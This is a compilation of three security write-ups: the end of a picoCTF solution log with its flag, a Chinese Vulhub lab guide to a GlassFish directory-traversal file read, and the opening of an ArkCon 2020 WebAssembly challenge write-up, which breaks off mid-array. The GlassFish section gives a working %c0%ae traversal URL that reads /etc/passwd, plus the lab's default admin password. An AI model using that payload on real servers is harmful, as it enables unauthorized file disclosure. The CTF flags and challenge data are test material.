(()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 7 [*] Depth1: 7, Depth2: 4 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())())) [*] Handling elements 1+2 out of 6 [*] Depth1: 7, Depth2: 7 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()) [*] Handling elements 1+2 out of 5 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()((()()(())()()())()(())((()))(((())))((((())))))) [*] Handling elements 1+2 out of 4 [*] Depth1: 7, Depth2: 3 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()((()()(())()()())()(())((()))(((())))((((())))))(()()()()()(())()())) [*] Handling elements 1+2 out of 3 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()((()()(())()()())()(())((()))(((())))((((())))))(()()()()()(())()())(((()()())()(((()()())()())()()))((((()))))(((())))((()))(())())) [*] Handling elements 1+2 out of 2 [*] Depth1: 7, Depth2: 6 [*] New element: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()((()()(())()()())()(())((()))(((())))((((())))))(()()()()()(())()())(((()()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()((((()))))(((())))((()))(())())) [*] Responded: ((()(())()()(()()()()()()()()))(()()()()()()()()()(())()())((()()()()()()()()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()())((()())()())())((()(())((()))(((())))()()))()((()())(())()(())((()))(((())))((((()))))))((()()(()))(()()()(())()())((()(())((()))(((())))()()))())(((())()(((()()())()())()()))((()(())((()))(((())))()()))())(((()()()()(())()())()(((()()())()())()()))((()(())((()))(((())))()()))())(((())()()()(())()())((()(())((()))(((())))()()))()((()()()()())()()()(())()())((()()())(())((((()))))(((())))((()))(())())()()()()((()())(()()()()()()()())((()())()())())((((()())()(()))()(((()()())()())()()))((((()))))(((())))((()))(())())(((((()())()())())()(((()()())()())()()))()(())((()))(((())))((((())))))(((()())(())())()(())((()))(((())))((((())))))(()(())(()()()()()()()()))(()()()(())()()))(((()(()))()(((()()())()())()()))((()(())((()))(((())))()()))())(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()())()(())((()))(((())))((((())))))(((())()()()())((()())()())())(((()(()))((()())()())())()(())((()))(((())))((((()))))))((()()(())()())((()(())((()))(((())))()()))())((()()()(())()())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()(()))(()()()(())()())((()()(((()()())()())()()))()(())((()))(((())))((((())))))((()()()(())()())((()())()())())(()(())()(()))(()()()()()()(())()())(()()(())(()()()()()()()()))(()()()(())()()))(((()())()(()))((()(())((()))(((())))()()))())((((())())((()())()())())((()(())((()))(((())))()()))()((()())(())()()()(())()()))(()()()((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))(()()()()()()()()()()()()()))(((()())()(())()()())((()(())((()))(((())))()()))()((()()())(()()())((()())()())())(((()()()()(())()())()(((()()())()())()()))((((()))))(((())))((()))(())())((()()()()()()(())()())((()())()())())(((()())()(()))((())())()(((()()())()())()()))((()()()())()(((()()())()())()()))(()()()()())(()()()()()()()()))((()((()())()())())((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())(((()())()(())()())((()())()())()))((()()())((()(())((()))(((())))()()))()((()()(())()()())()(())((()))(((())))((((())))))(()()()()()(())()())(((()()())()(((()()())()())()()))((((()))))(((())))((()))(())())(()((((()))))(((())))((()))(())())) [*] Received: Congratulations, here's your flag: picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85} [*] Closed connection to 2018shell3.picoctf.com port 7866 ``` The flag: picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}
sec-knowleage
# GlassFish 任意文件读取漏洞 ## 原理 参考文章:https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904 java语言中会把`%c0%ae`解析为`\uC0AE`,最后转义为ASCCII字符的`.`(点)。利用`%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/`来向上跳转,达到目录穿越、任意文件读取的效果。 ## 漏洞复现 编译、运行测试环境 ``` docker compose build docker compose up -d ``` 环境运行后,访问`http://your-ip:8080`和`http://your-ip:4848`即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。 访问`https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd`,发现已成功读取`/etc/passwd`内容: ![](1.png) ## 额外说明 本环境超级管理员密码在`docker-compose.yml`中设置,默认为`vulhub_default_password`,在4848端口利用该密码可以登录管理员账户。
sec-knowleage
# ArkCon 2020 Teaser ArkCon 2020 was canceled due to the COVID-19 global pandemic, and the only challenge released was a teaser: > Have you missed ArkCon? Check out our mini teaser! Just making sure you’re still in shape... > > http://0x7e4-challenge.com/ Visiting the website, we get a simple text box with the label "Answer". If we check the sources, we find the following script: ```javascript const memory = new WebAssembly.Memory({ initial: 256, maximum: 256 }); const importObj = { env: { abortStackOverflow: () => { throw new Error('overflow'); }, table: new WebAssembly.Table({ initial: 0, maximum: 0, element: 'anyfunc' }), __table_base: 0, memory: memory, __memory_base: 1024, STACKTOP: 0, STACK_MAX: memory.buffer.byteLength, } }; document.getElementById('form').addEventListener('submit', function(e) { e.preventDefault(); (async () => { const buff = new Uint8Array([ 187, 218, 200, 214, 186, 187, 187, 187, 186, 137, 185, 219, 186, 196, 187, 219, 146, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 196, 186, 196, 185, 216, 190, 184, 222, 213, 205, 169, 218, 217, 212, 201, 207, 232, 207, 218, 216, 208, 244, 205, 222, 201, 221, 215, 212, 204, 187, 187, 184, 222, 213, 205, 182, 228, 228, 214, 222, 214, 212, 201, 194, 228, 217, 218, 200, 222, 184, 196, 187, 184, 222, 213, 205, 183, 228, 228, 207, 218, 217, 215, 222, 228, 217, 218, 200, 222, 184, 196, 187, 184, 222, 213, 205, 189, 214, 222, 214, 212, 201, 194, 185, 186, 59, 185, 59, 185, 184, 222, 213, 205, 190, 207, 218, 217, 215, 222, 186, 203, 186, 187, 187, 184, 185, 186, 186, 189, 172, 184, 196, 186, 250, 27, 171, 176, 196, 186, 250, 27, 43, 123, 185, 176, 198, 186, 248, 187, 187, 187, 187, 176, 188, 179, 186, 191, 228, 205, 222, 201, 187, 186, 177, 71, 152, 186, 66, 152, 186, 115, 184, 196, 152, 185, 154, 84, 184, 152, 185, 250, 11, 186, 209, 159, 185, 152, 185, 152, 184, 245, 191, 251, 250, 11, 186, 171, 187, 176, 155, 187, 154, 27, 185, 155, 186, 154, 26, 185, 155, 185, 154, 23, 185, 155, 184, 154, 12, 185, 155, 191, 154, 121, 185, 155, 190, 154, 127, 185, 155, 189, 154, 126, 185, 155, 188, 154, 125, 185, 155, 179, 154, 124, 185, 155, 178, 154, 115, 185, 155, 177, 154, 25, 185, 155, 176, 154, 24, 185, 155, 183, 154, 31, 185, 155, 182, 154, 30, 185, 155, 181, 154, 29, 185, 155, 180, 154, 28, 185, 155, 171, 154, 19, 185, 155, 170, 154, 18, 185, 155, 169, 154, 17, 185, 155, 168, 154, 16, 185, 155, 175, 154, 22, 185, 155, 174, 154, 21, 185, 155, 173, 154, 20, 185, 155, 172, 154, 11, 185, 155, 163, 154, 10, 185, 155, 162, 154, 9, 185, 155, 161, 154, 8, 185, 155, 160, 154, 15, 185, 155, 167, 154, 14, 185, 155, 166, 154, 13, 185, 155, 165, 154, 3, 185, 155, 164, 154, 2, 185, 155, 155, 154, 1, 185, 155, 154, 154, 0, 185, 155, 153, 154, 7, 185, 155, 152, 154, 6, 185, 155, 159, 154, 5, 185, 155, 158, 154, 4, 185, 155, 157, 154, 123, 185, 155, 156, 154, 122, 185, 155, 147, 154, 120, 185, 250, 187, 154, 127, 184, 155, 27, 185, 154, 146, 155, 146, 250, 196, 200, 154, 73, 185, 155, 73, 185, 250, 107, 186, 202, 154, 117, 186, 155, 27, 185, 154, 145, 155, 145, 250, 20, 197, 202, 154, 116, 186, 155, 117, 186, 155, 116, 186, 201, 154, 32, 184, 155, 32, 184, 250, 3, 186, 208, 154, 126, 184, 185, 196, 155, 126, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 114, 185, 155, 127, 184, 154, 246, 155, 246, 155, 114, 185, 209, 154, 30, 186, 155, 30, 186, 154, 127, 184, 155, 26, 185, 154, 227, 155, 227, 250, 196, 200, 154, 56, 184, 155, 56, 184, 250, 41, 186, 202, 154, 49, 185, 155, 26, 185, 154, 216, 155, 216, 250, 86, 197, 202, 154, 52, 185, 155, 49, 185, 155, 52, 185, 201, 154, 7, 184, 155, 7, 184, 250, 93, 186, 208, 154, 92, 184, 185, 196, 155, 92, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 87, 185, 155, 127, 184, 154, 213, 155, 213, 155, 87, 185, 209, 154, 113, 186, 155, 113, 186, 154, 127, 184, 155, 23, 185, 154, 194, 155, 194, 250, 196, 200, 154, 34, 184, 155, 34, 184, 250, 95, 187, 202, 154, 107, 186, 155, 23, 185, 154, 63, 186, 155, 63, 186, 250, 32, 196, 202, 154, 110, 186, 155, 107, 186, 155, 110, 186, 201, 154, 36, 184, 155, 36, 184, 250, 171, 208, 154, 113, 184, 185, 196, 155, 113, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 116, 185, 155, 127, 184, 154, 52, 186, 155, 52, 186, 155, 116, 185, 209, 154, 22, 186, 155, 22, 186, 154, 127, 184, 155, 12, 185, 154, 33, 186, 155, 33, 186, 250, 196, 200, 154, 71, 185, 155, 71, 185, 250, 112, 186, 202, 154, 93, 186, 155, 12, 185, 154, 144, 155, 144, 250, 15, 197, 202, 154, 80, 186, 155, 93, 186, 155, 80, 186, 201, 154, 17, 184, 155, 17, 184, 250, 0, 186, 208, 154, 110, 184, 185, 196, 155, 110, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 97, 185, 155, 127, 184, 154, 141, 155, 141, 155, 97, 185, 209, 154, 3, 186, 155, 3, 186, 154, 127, 184, 155, 121, 185, 154, 250, 155, 250, 250, 196, 200, 154, 51, 184, 155, 51, 184, 250, 184, 202, 154, 71, 186, 155, 121, 185, 154, 253, 155, 253, 250, 199, 202, 154, 58, 185, 155, 71, 186, 155, 58, 185, 201, 154, 14, 184, 155, 14, 184, 250, 130, 208, 154, 91, 184, 185, 196, 155, 91, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 94, 185, 155, 127, 184, 154, 252, 155, 252, 155, 94, 185, 209, 154, 121, 186, 155, 121, 186, 154, 127, 184, 155, 127, 185, 154, 243, 155, 243, 250, 196, 200, 154, 43, 184, 155, 43, 184, 250, 134, 202, 154, 48, 185, 155, 127, 185, 154, 242, 155, 242, 250, 249, 202, 154, 55, 185, 155, 48, 185, 155, 55, 185, 201, 154, 2, 184, 155, 2, 184, 250, 169, 208, 154, 88, 184, 185, 196, 155, 88, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 92, 185, 155, 127, 184, 154, 241, 155, 241, 155, 92, 185, 209, 154, 120, 186, 155, 120, 186, 154, 127, 184, 155, 126, 185, 154, 240, 155, 240, 250, 196, 200, 154, 42, 184, 155, 42, 184, 250, 184, 202, 154, 54, 185, 155, 126, 185, 154, 247, 155, 247, 250, 199, 202, 154, 53, 185, 155, 54, 185, 155, 53, 185, 201, 154, 1, 184, 155, 1, 184, 250, 151, 208, 154, 95, 184, 185, 196, 155, 95, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 83, 185, 155, 127, 184, 154, 245, 155, 245, 155, 83, 185, 209, 154, 127, 186, 155, 127, 186, 154, 127, 184, 155, 125, 185, 154, 244, 155, 244, 250, 196, 200, 154, 41, 184, 155, 41, 184, 250, 29, 186, 202, 154, 43, 185, 155, 125, 185, 154, 235, 155, 235, 250, 98, 197, 202, 154, 42, 185, 155, 43, 185, 155, 42, 185, 201, 154, 0, 184, 155, 0, 184, 250, 117, 186, 208, 154, 94, 184, 185, 196, 155, 94, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 82, 185, 155, 127, 184, 154, 234, 155, 234, 155, 82, 185, 209, 154, 126, 186, 155, 126, 186, 154, 127, 184, 155, 124, 185, 154, 233, 155, 233, 250, 196, 200, 154, 40, 184, 155, 40, 184, 250, 145, 202, 154, 41, 185, 155, 124, 185, 154, 232, 155, 232, 250, 238, 202, 154, 40, 185, 155, 41, 185, 155, 40, 185, 201, 154, 6, 184, 155, 6, 184, 250, 162, 208, 154, 93, 184, 185, 196, 155, 93, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 81, 185, 155, 127, 184, 154, 239, 155, 239, 155, 81, 185, 209, 154, 125, 186, 155, 125, 186, 154, 127, 184, 155, 115, 185, 154, 238, 155, 238, 250, 196, 200, 154, 47, 184, 155, 47, 184, 250, 44, 186, 202, 154, 47, 185, 155, 115, 185, 154, 237, 155, 237, 250, 83, 197, 202, 154, 46, 185, 155, 47, 185, 155, 46, 185, 201, 154, 5, 184, 155, 5, 184, 250, 79, 186, 208, 154, 83, 184, 185, 196, 155, 83, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 80, 185, 155, 127, 184, 154, 236, 155, 236, 155, 80, 185, 209, 154, 124, 186, 155, 124, 186, 154, 127, 184, 155, 25, 185, 154, 226, 155, 226, 250, 196, 200, 154, 46, 184, 155, 46, 184, 250, 65, 186, 202, 154, 45, 185, 155, 25, 185, 154, 225, 155, 225, 250, 62, 197, 202, 154, 44, 185, 155, 45, 185, 155, 44, 185, 201, 154, 4, 184, 155, 4, 184, 250, 42, 186, 208, 154, 82, 184, 185, 196, 155, 82, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 86, 185, 155, 127, 184, 154, 224, 155, 224, 155, 86, 185, 209, 154, 115, 186, 155, 115, 186, 154, 127, 184, 155, 24, 185, 154, 231, 155, 231, 250, 196, 200, 154, 45, 184, 155, 45, 184, 250, 106, 186, 202, 154, 35, 185, 155, 24, 185, 154, 230, 155, 230, 250, 21, 197, 202, 154, 34, 185, 155, 35, 185, 155, 34, 185, 201, 154, 123, 184, 155, 123, 184, 250, 71, 186, 208, 154, 81, 184, 185, 196, 155, 81, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 85, 185, 155, 127, 184, 154, 229, 155, 229, 155, 85, 185, 209, 154, 114, 186, 155, 114, 186, 154, 127, 184, 155, 31, 185, 154, 228, 155, 228, 250, 196, 200, 154, 44, 184, 155, 44, 184, 250, 66, 186, 202, 154, 33, 185, 155, 31, 185, 154, 219, 155, 219, 250, 61, 197, 202, 154, 32, 185, 155, 33, 185, 155, 32, 185, 201, 154, 122, 184, 155, 122, 184, 250, 59, 186, 208, 154, 80, 184, 185, 196, 155, 80, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 84, 185, 155, 127, 184, 154, 218, 155, 218, 155, 84, 185, 209, 154, 112, 186, 155, 112, 186, 154, 127, 184, 155, 30, 185, 154, 217, 155, 217, 250, 196, 200, 154, 35, 184, 155, 35, 184, 250, 49, 186, 202, 154, 39, 185, 155, 30, 185, 154, 223, 155, 223, 250, 78, 197, 202, 154, 38, 185, 155, 39, 185, 155, 38, 185, 201, 154, 121, 184, 155, 121, 184, 250, 2, 186, 208, 154, 87, 184, 185, 196, 155, 87, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 75, 185, 155, 127, 184, 154, 222, 155, 222, 155, 75, 185, 209, 154, 119, 186, 155, 119, 186, 154, 127, 184, 155, 29, 185, 154, 221, 155, 221, 250, 196, 200, 154, 33, 184, 155, 33, 184, 250, 24, 186, 202, 154, 37, 185, 155, 29, 185, 154, 220, 155, 220, 250, 103, 197, 202, 154, 36, 185, 155, 37, 185, 155, 36, 185, 201, 154, 120, 184, 155, 120, 184, 250, 44, 186, 208, 154, 86, 184, 185, 196, 155, 86, 184, 154, 75, 184, 250, 